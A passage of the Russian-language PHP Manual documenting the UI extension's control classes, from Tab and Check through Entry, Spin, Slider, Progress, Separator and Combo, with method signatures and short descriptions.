  • UI\Controls\Tab::setMargin »
  • PHP Manual
  • UI\Controls\Tab
  • Количество страниц

UI\Controls\Tab::pages

(UI 0.9.9)

UI\Controls\Tab::pages — Количество страниц

Описание

public UI\Controls\Tab::pages(): int

Возвратит количество страниц в данном управляющем элементе "Таб"

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество страниц в данном управляющем элементе "Таб"

User Contributed Notes

There are no user contributed notes for this page.


Установить поле

  • « UI\Controls\Tab::pages
  • UI\Controls\Check »
  • PHP Manual
  • UI\Controls\Tab
  • Установить поле

UI\Controls\Tab::setMargin

(UI 0.9.9)

UI\Controls\Tab::setMargin — Установить поле

Описание

public UI\Controls\Tab::setMargin(int $page, bool $margin)

Включить или отключить поля на выбранной странице

Список параметров

page

Страница для вставки

margin

Переключатель поля

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Чекбокс"

(UI 0.9.9)

Введение

Чекбокс (Check) представляет собой помеченный кликабельный блок

Обзор классов

class UI\Controls\Check extends UI\Control {
/* Конструктор */
public __construct(string $text)
/* Методы */
public getText(): string
public isChecked(): bool
protected onToggle()
public setChecked(bool $checked)
public setText(string $text)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\Check::__construct — Создать новый объект Check
  • UI\Controls\Check::getText — Получить текст
  • UI\Controls\Check::isChecked — Определение отметки
  • UI\Controls\Check::onToggle — Функция обратного вызова переключения
  • UI\Controls\Check::setChecked — Установить статус выбранности
  • UI\Controls\Check::setText — Установить текст

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Check

  • « UI\Controls\Check
  • UI\Controls\Check::getText »
  • PHP Manual
  • UI\Controls\Check
  • Создать новый объект Check

UI\Controls\Check::__construct

(UI 0.9.9)

UI\Controls\Check::__construct — Создать новый объект Check

Описание

public UI\Controls\Check::__construct(string $text)

Создаёт новый объект Check

Список параметров

text

Текст (метка) для чекбокса

User Contributed Notes

There are no user contributed notes for this page.


Получить текст

  • « UI\Controls\Check::__construct
  • UI\Controls\Check::isChecked »
  • PHP Manual
  • UI\Controls\Check
  • Получить текст

UI\Controls\Check::getText

(UI 0.9.9)

UI\Controls\Check::getText — Получить текст

Описание

public UI\Controls\Check::getText(): string

Получает текст (метку) для данного чекбокса

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий текст (метка)

User Contributed Notes

There are no user contributed notes for this page.


Определение отметки

  • « UI\Controls\Check::getText
  • UI\Controls\Check::onToggle »
  • PHP Manual
  • UI\Controls\Check
  • Определение отметки

UI\Controls\Check::isChecked

(UI 0.9.9)

UI\Controls\Check::isChecked — Определение отметки

Описание

public UI\Controls\Check::isChecked(): bool

Определит статус выбора данного чекбокса

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Функция обратного вызова переключения

  • « UI\Controls\Check::isChecked
  • UI\Controls\Check::setChecked »
  • PHP Manual
  • UI\Controls\Check
  • Функция обратного вызова переключения

UI\Controls\Check::onToggle

(UI 0.9.9)

UI\Controls\Check::onToggle — Функция обратного вызова переключения

Описание

protected UI\Controls\Check::onToggle()

Выполняется при изменении статуса этого чекбокса.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить статус выбранности

  • « UI\Controls\Check::onToggle
  • UI\Controls\Check::setText »
  • PHP Manual
  • UI\Controls\Check
  • Установить статус выбранности

UI\Controls\Check::setChecked

(UI 0.9.9)

UI\Controls\Check::setChecked — Установить статус выбранности

Описание

public UI\Controls\Check::setChecked(bool $checked)

Изменит статус этого чекбокса

Список параметров

checked

Новый статус

User Contributed Notes

There are no user contributed notes for this page.


Установить текст

  • « UI\Controls\Check::setChecked
  • UI\Controls\Button »
  • PHP Manual
  • UI\Controls\Check
  • Установить текст

UI\Controls\Check::setText

(UI 0.9.9)

UI\Controls\Check::setText — Установить текст

Описание

public UI\Controls\Check::setText(string $text)

Установит текст (метку) данного чекбокса

Список параметров

text

Новый текст (метка)

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Кнопка"

(UI 0.9.9)

Введение

Представляет собой помеченную кликабельную кнопку

Обзор классов

class UI\Controls\Button extends UI\Control {
/* Конструктор */
public __construct(string $text)
/* Методы */
public getText(): string
protected onClick()
public setText(string $text)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\Button::__construct — Создать новый объект Button
  • UI\Controls\Button::getText — Получить текст
  • UI\Controls\Button::onClick — Обработчик клика
  • UI\Controls\Button::setText — Установить текст

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Button

  • « UI\Controls\Button
  • UI\Controls\Button::getText »
  • PHP Manual
  • UI\Controls\Button
  • Создать новый объект Button

UI\Controls\Button::__construct

(UI 0.9.9)

UI\Controls\Button::__construct — Создать новый объект Button

Описание

public UI\Controls\Button::__construct(string $text)

Создаст новый объект Button

Список параметров

text

Текст (метка) для данной кнопки

User Contributed Notes

There are no user contributed notes for this page.


Получить текст

  • « UI\Controls\Button::__construct
  • UI\Controls\Button::onClick »
  • PHP Manual
  • UI\Controls\Button
  • Получить текст

UI\Controls\Button::getText

(UI 0.9.9)

UI\Controls\Button::getText — Получить текст

Описание

public UI\Controls\Button::getText(): string

Получить текст (метку) для данного объекта Button

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий текст (метка)

User Contributed Notes

There are no user contributed notes for this page.


Обработчик клика

  • « UI\Controls\Button::getText
  • UI\Controls\Button::setText »
  • PHP Manual
  • UI\Controls\Button
  • Обработчик клика

UI\Controls\Button::onClick

(UI 0.9.9)

UI\Controls\Button::onClick — Обработчик клика

Описание

protected UI\Controls\Button::onClick()

Выполняется при нажатии этого объекта Button

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить текст

  • « UI\Controls\Button::onClick
  • UI\Controls\ColorButton »
  • PHP Manual
  • UI\Controls\Button
  • Установить текст

UI\Controls\Button::setText

(UI 0.9.9)

UI\Controls\Button::setText — Установить текст

Описание

public UI\Controls\Button::setText(string $text)

Устанавливает текст (метку) для данного объекта Button

Список параметров

text

Новый текст (метка)

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Кнопка с палитрой цветов"

(UI 0.9.9)

Введение

Кнопка с палитрой цветов - это кнопка, которая отображает селектор цвета при нажатии

Обзор классов

class UI\Controls\ColorButton extends UI\Control {
/* Методы */
public getColor(): UI\Color
protected onChange()
public setColor(UI\Draw\Color $color)
public setColor(int $color)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\ColorButton::getColor — Получить объект Color
  • UI\Controls\ColorButton::onChange — Обработчик изменения
  • UI\Controls\ColorButton::setColor — Установить объект Color

User Contributed Notes

There are no user contributed notes for this page.


Получить объект Color

  • « UI\Controls\ColorButton
  • UI\Controls\ColorButton::onChange »
  • PHP Manual
  • UI\Controls\ColorButton
  • Получить объект Color

UI\Controls\ColorButton::getColor

(UI 0.9.9)

UI\Controls\ColorButton::getColor — Получить объект Color

Описание

public UI\Controls\ColorButton::getColor(): UI\Color

Получить текущий выбранный объект Color

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Обработчик изменения

  • « UI\Controls\ColorButton::getColor
  • UI\Controls\ColorButton::setColor »
  • PHP Manual
  • UI\Controls\ColorButton
  • Обработчик изменения

UI\Controls\ColorButton::onChange

(UI 0.9.9)

UI\Controls\ColorButton::onChange — Обработчик изменения

Описание

protected UI\Controls\ColorButton::onChange()

Выполняется при изменении выбранного объекта Color

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить объект Color

  • « UI\Controls\ColorButton::onChange
  • UI\Controls\Label »
  • PHP Manual
  • UI\Controls\ColorButton
  • Установить объект Color

UI\Controls\ColorButton::setColor

(UI 0.9.9)

UI\Controls\ColorButton::setColor — Установить объект Color

Описание

public UI\Controls\ColorButton::setColor(UI\Draw\Color $color)
public UI\Controls\ColorButton::setColor(int $color)

Устанавливает текущий выбранный объект Color

Список параметров

color

Новый цвет

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Метка"

(UI 0.9.9)

Введение

Метка представляет одну строку текста, предназначенную для идентификации пользователем определённого элемента интерфейса.

Обзор классов

class UI\Controls\Label extends UI\Control {
/* Конструктор */
public __construct(string $text)
/* Методы */
public getText(): string
public setText(string $text)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\Label::__construct — Создать новый объект Label
  • UI\Controls\Label::getText — Получить текст
  • UI\Controls\Label::setText — Установить текст

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Label

  • « UI\Controls\Label
  • UI\Controls\Label::getText »
  • PHP Manual
  • UI\Controls\Label
  • Создать новый объект Label

UI\Controls\Label::__construct

(UI 0.9.9)

UI\Controls\Label::__construct — Создать новый объект Label

Описание

public UI\Controls\Label::__construct(string $text)

Создаёт новый объект Label

Список параметров

text

Текст для данной метки

User Contributed Notes

There are no user contributed notes for this page.


Получить текст

  • « UI\Controls\Label::__construct
  • UI\Controls\Label::setText »
  • PHP Manual
  • UI\Controls\Label
  • Получить текст

UI\Controls\Label::getText

(UI 0.9.9)

UI\Controls\Label::getText — Получить текст

Описание

public UI\Controls\Label::getText(): string

Возвращает текущий текст для данной метки

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить текст

  • « UI\Controls\Label::getText
  • UI\Controls\Entry »
  • PHP Manual
  • UI\Controls\Label
  • Установить текст

UI\Controls\Label::setText

(UI 0.9.9)

UI\Controls\Label::setText — Установить текст

Описание

public UI\Controls\Label::setText(string $text)

Устанавливает текст для данной метки

Список параметров

text

Новый текст

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Ввод"

(UI 0.9.9)

Введение

Ввод (Entry) - элемент управления текстовой записи, подходящий для ввода простого текста, паролей или поисковых запросов.

Обзор классов

class UI\Controls\Entry extends UI\Control {
/* Константы */
const int Normal;
const int Password;
const int Search;
/* Конструктор */
public __construct(int $type = UI\Controls\Entry::Normal)
/* Методы */
public getText(): string
public isReadOnly(): bool
protected onChange()
public setReadOnly(bool $readOnly)
public setText(string $text)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Предопределённые константы

UI\Controls\Entry::Normal

Обычный однострочный ввод

UI\Controls\Entry::Password

Ввод пароля

UI\Controls\Entry::Search

Ввод поиска

Содержание

  • UI\Controls\Entry::__construct — Создать новый объект Entry
  • UI\Controls\Entry::getText — Получить текст
  • UI\Controls\Entry::isReadOnly — Определить, является ли элемент только для чтения
  • UI\Controls\Entry::onChange — Обработчик изменения
  • UI\Controls\Entry::setReadOnly — Установить "только для чтения"
  • UI\Controls\Entry::setText — Установить текст

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Entry

  • « UI\Controls\Entry
  • UI\Controls\Entry::getText »
  • PHP Manual
  • UI\Controls\Entry
  • Создать новый объект Entry

UI\Controls\Entry::__construct

(UI 0.9.9)

UI\Controls\Entry::__construct — Создать новый объект Entry

Описание

public UI\Controls\Entry::__construct(int $type = UI\Controls\Entry::Normal)

Создать новый элемент управления "Ввод" заданного типа

Список параметров

type

Entry::Normal, Entry::Password или Entry::Search

User Contributed Notes

There are no user contributed notes for this page.


Получить текст

  • « UI\Controls\Entry::__construct
  • UI\Controls\Entry::isReadOnly »
  • PHP Manual
  • UI\Controls\Entry
  • Получить текст

UI\Controls\Entry::getText

(UI 0.9.9)

UI\Controls\Entry::getText — Получить текст

Описание

public UI\Controls\Entry::getText(): string

Возвратит текущий текст из управляющего элемента "Ввод"

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий текст

User Contributed Notes

There are no user contributed notes for this page.


Определить, является ли элемент только для чтения

  • « UI\Controls\Entry::getText
  • UI\Controls\Entry::onChange »
  • PHP Manual
  • UI\Controls\Entry
  • Определить, является ли элемент только для чтения

UI\Controls\Entry::isReadOnly

(UI 0.9.9)

UI\Controls\Entry::isReadOnly — Определить, является ли элемент только для чтения

Описание

public UI\Controls\Entry::isReadOnly(): bool

Определяет, является ли управляющий элемент "Ввод" только для чтения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Обработчик изменения

  • « UI\Controls\Entry::isReadOnly
  • UI\Controls\Entry::setReadOnly »
  • PHP Manual
  • UI\Controls\Entry
  • Обработчик изменения

UI\Controls\Entry::onChange

(UI 0.9.9)

UI\Controls\Entry::onChange — Обработчик изменения

Описание

protected UI\Controls\Entry::onChange()

Выполняется при изменении текста в данном элементе управления "Ввод"

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить "только для чтения"

  • « UI\Controls\Entry::onChange
  • UI\Controls\Entry::setText »
  • PHP Manual
  • UI\Controls\Entry
  • Установить "только для чтения"

UI\Controls\Entry::setReadOnly

(UI 0.9.9)

UI\Controls\Entry::setReadOnly — Установить "только для чтения"

Описание

public UI\Controls\Entry::setReadOnly(bool $readOnly)

Включить или отключить только для чтения в данном управляющем элементе "Ввод"

Список параметров

readOnly

User Contributed Notes

There are no user contributed notes for this page.


Установить текст

  • « UI\Controls\Entry::setReadOnly
  • UI\Controls\MultilineEntry »
  • PHP Manual
  • UI\Controls\Entry
  • Установить текст

UI\Controls\Entry::setText

(UI 0.9.9)

UI\Controls\Entry::setText — Установить текст

Описание

public UI\Controls\Entry::setText(string $text)

Устанавливает текст для данного управляющего элемента "Ввод"

Список параметров

text

Новый текст

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Многострочный ввод"

(UI 0.9.9)

Введение

Многострочный ввод - это элемент управления текстовой записи, способный хранить несколько строк текста, с переносом строк или без него.

Обзор классов

class UI\Controls\MultilineEntry extends UI\Control {
/* Константы */
const int Wrap;
const int NoWrap;
/* Конструктор */
public __construct(int $type = ?)
/* Методы */
public append(string $text)
public getText(): string
public isReadOnly(): bool
protected onChange()
public setReadOnly(bool $readOnly)
public setText(string $text)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Предопределённые константы

UI\Controls\MultilineEntry::Wrap

Разрешить перенос строк

UI\Controls\MultilineEntry::NoWrap

Не разрешать перенос строк

Содержание

  • UI\Controls\MultilineEntry::append — Добавить текст
  • UI\Controls\MultilineEntry::__construct — Создать новый объект "Многострочный ввод"
  • UI\Controls\MultilineEntry::getText — Получить текст
  • UI\Controls\MultilineEntry::isReadOnly — Определение "только для чтения"
  • UI\Controls\MultilineEntry::onChange — Обработчик изменения
  • UI\Controls\MultilineEntry::setReadOnly — Установить "только для чтения"
  • UI\Controls\MultilineEntry::setText — Установить текст

User Contributed Notes

There are no user contributed notes for this page.


Добавить текст

  • « UI\Controls\MultilineEntry
  • UI\Controls\MultilineEntry::__construct »
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Добавить текст

UI\Controls\MultilineEntry::append

(UI 0.9.9)

UI\Controls\MultilineEntry::append — Добавить текст

Описание

public UI\Controls\MultilineEntry::append(string $text)

Добавляет заданный текст к тексту в многострочном элементе управления "Ввод"

Список параметров

text

Текст для добавления

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект "Многострочный ввод"

  • « UI\Controls\MultilineEntry::append
  • UI\Controls\MultilineEntry::getText »
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Создать новый объект "Многострочный ввод"

UI\Controls\MultilineEntry::__construct

(UI 0.9.9)

UI\Controls\MultilineEntry::__construct — Создать новый объект "Многострочный ввод"

Описание

public UI\Controls\MultilineEntry::__construct(int $type = ?)

Создаёт новый объект управляющего элемента "Многострочный ввод" заданного типа

Список параметров

type

MultilineEntry::Wrap или MultilineEntry::NoWrap

User Contributed Notes

There are no user contributed notes for this page.


Получить текст

  • « UI\Controls\MultilineEntry::__construct
  • UI\Controls\MultilineEntry::isReadOnly »
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Получить текст

UI\Controls\MultilineEntry::getText

(UI 0.9.9)

UI\Controls\MultilineEntry::getText — Получить текст

Описание

public UI\Controls\MultilineEntry::getText(): string

Возвращает текст в данном управляющем элементе "Многострочный ввод"

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Определение "только для чтения"

  • « UI\Controls\MultilineEntry::getText
  • UI\Controls\MultilineEntry::onChange »
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Определение "только для чтения"

UI\Controls\MultilineEntry::isReadOnly

(UI 0.9.9)

UI\Controls\MultilineEntry::isReadOnly — Определение "только для чтения"

Описание

public UI\Controls\MultilineEntry::isReadOnly(): bool

Определяет, является ли элемент управления "Многострочный ввод" только для чтения

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Обработчик изменения

  • « UI\Controls\MultilineEntry::isReadOnly
  • UI\Controls\MultilineEntry::setReadOnly »
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Обработчик изменения

UI\Controls\MultilineEntry::onChange

(UI 0.9.9)

UI\Controls\MultilineEntry::onChange — Обработчик изменения

Описание

protected UI\Controls\MultilineEntry::onChange()

Выполняется при изменении текста в данном элементе управления "Многострочный ввод"

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить "только для чтения"

  • « UI\Controls\MultilineEntry::onChange
  • UI\Controls\MultilineEntry::setText »
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Установить "только для чтения"

UI\Controls\MultilineEntry::setReadOnly

(UI 0.9.9)

UI\Controls\MultilineEntry::setReadOnly — Установить "только для чтения"

Описание

public UI\Controls\MultilineEntry::setReadOnly(bool $readOnly)

Включить или отключить только для чтения в данном управляющем элементе "Многострочный ввод"

Список параметров

readOnly

User Contributed Notes

There are no user contributed notes for this page.


Установить текст

  • « UI\Controls\MultilineEntry::setReadOnly
  • UI\Controls\Spin »
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Установить текст

UI\Controls\MultilineEntry::setText

(UI 0.9.9)

UI\Controls\MultilineEntry::setText — Установить текст

Описание

public UI\Controls\MultilineEntry::setText(string $text)

Устанавливает текст для данного управляющего элемента "Многострочный ввод"

Список параметров

text

Новый текст

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Спин"

(UI 0.9.9)

Введение

Блок "Спин" представляет текстовое поле с элементом управления "вверх", который изменяет целочисленное значение в поле, в пределах заданного диапазона

Обзор классов

class UI\Controls\Spin extends UI\Control {
/* Конструктор */
public __construct(int $min, int $max)
/* Методы */
public getValue(): int
protected onChange()
public setValue(int $value)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\Spin::__construct — Создаёт новый объект Spin
  • UI\Controls\Spin::getValue — Получить значение
  • UI\Controls\Spin::onChange — Обработчик изменения
  • UI\Controls\Spin::setValue — Установить значение

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект Spin

  • « UI\Controls\Spin
  • UI\Controls\Spin::getValue »
  • PHP Manual
  • UI\Controls\Spin
  • Создаёт новый объект Spin

UI\Controls\Spin::__construct

(UI 0.9.9)

UI\Controls\Spin::__construct — Создаёт новый объект Spin

Описание

public UI\Controls\Spin::__construct(int $min, int $max)

Создаёт новый объект Spin с заданным диапазоном

Список параметров

min

Минимальное разрешённое значение

max

Максимальное разрешённое значение

User Contributed Notes

There are no user contributed notes for this page.


Получить значение

  • « UI\Controls\Spin::__construct
  • UI\Controls\Spin::onChange »
  • PHP Manual
  • UI\Controls\Spin
  • Получить значение

UI\Controls\Spin::getValue

(UI 0.9.9)

UI\Controls\Spin::getValue — Получить значение

Описание

public UI\Controls\Spin::getValue(): int

Получить значение в данном элементе управления "Спин"

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Обработчик изменения

  • « UI\Controls\Spin::getValue
  • UI\Controls\Spin::setValue »
  • PHP Manual
  • UI\Controls\Spin
  • Обработчик изменения

UI\Controls\Spin::onChange

(UI 0.9.9)

UI\Controls\Spin::onChange — Обработчик изменения

Описание

protected UI\Controls\Spin::onChange()

Выполняется при изменении значения в данном управляющем элементе "Спин"

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить значение

  • « UI\Controls\Spin::onChange
  • UI\Controls\Slider »
  • PHP Manual
  • UI\Controls\Spin
  • Установить значение

UI\Controls\Spin::setValue

(UI 0.9.9)

UI\Controls\Spin::setValue — Установить значение

Описание

public UI\Controls\Spin::setValue(int $value)

Установить значение в данном элементе управления "Спин"

Список параметров

value

Новое значение

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Слайдер"

(UI 0.9.9)

Введение

Слайдер - это элемент управления, представляющий диапазон и текущее значение в нем. Скользящий элемент управления (иногда называемый «большим пальцем») отражает значение и может быть отрегулирован в пределах диапазона.

Обзор классов

class UI\Controls\Slider extends UI\Control {
/* Конструктор */
public __construct(int $min, int $max)
/* Методы */
public getValue(): int
protected onChange()
public setValue(int $value)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\Slider::__construct — Создаёт новый объект Slider
  • UI\Controls\Slider::getValue — Получить значение
  • UI\Controls\Slider::onChange — Обработчик изменения
  • UI\Controls\Slider::setValue — Установить значение

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект Slider

  • « UI\Controls\Slider
  • UI\Controls\Slider::getValue »
  • PHP Manual
  • UI\Controls\Slider
  • Создаёт новый объект Slider

UI\Controls\Slider::__construct

(UI 0.9.9)

UI\Controls\Slider::__construct — Создаёт новый объект Slider

Описание

public UI\Controls\Slider::__construct(int $min, int $max)

Создать новый объект Slider с заданным диапазоном

Список параметров

min

Минимальное разрешённое значение

max

Максимальное разрешённое значение

User Contributed Notes

There are no user contributed notes for this page.


Получить значение

  • « UI\Controls\Slider::__construct
  • UI\Controls\Slider::onChange »
  • PHP Manual
  • UI\Controls\Slider
  • Получить значение

UI\Controls\Slider::getValue

(UI 0.9.9)

UI\Controls\Slider::getValue — Получить значение

Описание

public UI\Controls\Slider::getValue(): int

Получить значение из данного слайдера

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Обработчик изменения

  • « UI\Controls\Slider::getValue
  • UI\Controls\Slider::setValue »
  • PHP Manual
  • UI\Controls\Slider
  • Обработчик изменения

UI\Controls\Slider::onChange

(UI 0.9.9)

UI\Controls\Slider::onChange — Обработчик изменения

Описание

protected UI\Controls\Slider::onChange()

Выполняется при изменении значения в данном слайдере

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить значение

  • « UI\Controls\Slider::onChange
  • UI\Controls\Progress »
  • PHP Manual
  • UI\Controls\Slider
  • Установить значение

UI\Controls\Slider::setValue

(UI 0.9.9)

UI\Controls\Slider::setValue — Установить значение

Описание

public UI\Controls\Slider::setValue(int $value)

Установит значение для данного слайдера

Список параметров

value

Новое значение

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Ход выполнения"

(UI 0.9.9)

Введение

Элемент управления "Ход выполнения" похож на знакомый индикатор выполнения: Он представляет собой индикатор выполнения в процентах с допустимым диапазоном от 0 до 100 (включительно).

Обзор классов

class UI\Controls\Progress extends UI\Control {
/* Методы */
public getValue(): int
public setValue(int $value)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\Progress::getValue — Получить значение
  • UI\Controls\Progress::setValue — Установить значение

User Contributed Notes

There are no user contributed notes for this page.


Получить значение

  • « UI\Controls\Progress
  • UI\Controls\Progress::setValue »
  • PHP Manual
  • UI\Controls\Progress
  • Получить значение

UI\Controls\Progress::getValue

(UI 0.9.9)

UI\Controls\Progress::getValue — Получить значение

Описание

public UI\Controls\Progress::getValue(): int

Получить текущее значение данного индикатора выполнения

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить значение

  • « UI\Controls\Progress::getValue
  • UI\Controls\Separator »
  • PHP Manual
  • UI\Controls\Progress
  • Установить значение

UI\Controls\Progress::setValue

(UI 0.9.9)

UI\Controls\Progress::setValue — Установить значение

Описание

public UI\Controls\Progress::setValue(int $value)

Установить значение данному индикатору выполнения

Список параметров

value

Целое число между 0 и 100 (включительно)

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Разделитель"

(UI 0.9.9)

Введение

Разделитель представляет элемент управления разделителя без каких-либо функций.

Обзор классов

class UI\Controls\Separator extends UI\Control {
/* Константы */
const int Horizontal;
const int Vertical;
/* Конструктор */
public __construct(int $type = UI\Controls\Separator::Horizontal)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Предопределённые константы

UI\Controls\Separator::Horizontal

Горизонтальный разделитель

UI\Controls\Separator::Vertical

Вертикальный разделитель

Содержание

  • UI\Controls\Separator::__construct — Создать новый объект Separator

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Separator

  • « UI\Controls\Separator
  • UI\Controls\Combo »
  • PHP Manual
  • UI\Controls\Separator
  • Создать новый объект Separator

UI\Controls\Separator::__construct

(UI 0.9.9)

UI\Controls\Separator::__construct — Создать новый объект Separator

Описание

public UI\Controls\Separator::__construct(int $type = UI\Controls\Separator::Horizontal)

Создаст новый объект Separator заданного типа

Список параметров

type

Separator::Horizonal или Separator::Vertical

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Комбо"

(UI 0.9.9)

Введение

Элемент управления "Комбо" представляет список опций, например, похожий на HTML-элемент.

Обзор классов

class UI\Controls\Combo extends UI\Control {
/* Методы */
public append(string $text)
public getSelected(): int
protected onSelected()
public setSelected(int $index)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\Combo::append — Добавить опцию
  • UI\Controls\Combo::getSelected — Получить выбранную опцию
  • UI\Controls\Combo::onSelected — Обработчик выбранной опции
  • UI\Controls\Combo::setSelected — Устанавливает выбранную опцию

User Contributed Notes

There are no user contributed notes for this page.


Добавить опцию

  • « UI\Controls\Combo
  • UI\Controls\Combo::getSelected »
  • PHP Manual
  • UI\Controls\Combo
  • Добавить опцию

UI\Controls\Combo::append

(UI 0.9.9)

UI\Controls\Combo::append — Добавить опцию

Описание

public UI\Controls\Combo::append(string $text)

Добавить опцию к данному элементу "Комбо"

Список параметров

text

Текст для новой опции

User Contributed Notes

There are no user contributed notes for this page.


Получить выбранную опцию

  • « UI\Controls\Combo::append
  • UI\Controls\Combo::onSelected »
  • PHP Manual
  • UI\Controls\Combo
  • Получить выбранную опцию

UI\Controls\Combo::getSelected

(UI 0.9.9)

UI\Controls\Combo::getSelected — Получить выбранную опцию

Описание

public UI\Controls\Combo::getSelected(): int

Получает индекс опции, выбранной в этом элементе "Комбо"

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Обработчик выбранной опции

  • « UI\Controls\Combo::getSelected
  • UI\Controls\Combo::setSelected »
  • PHP Manual
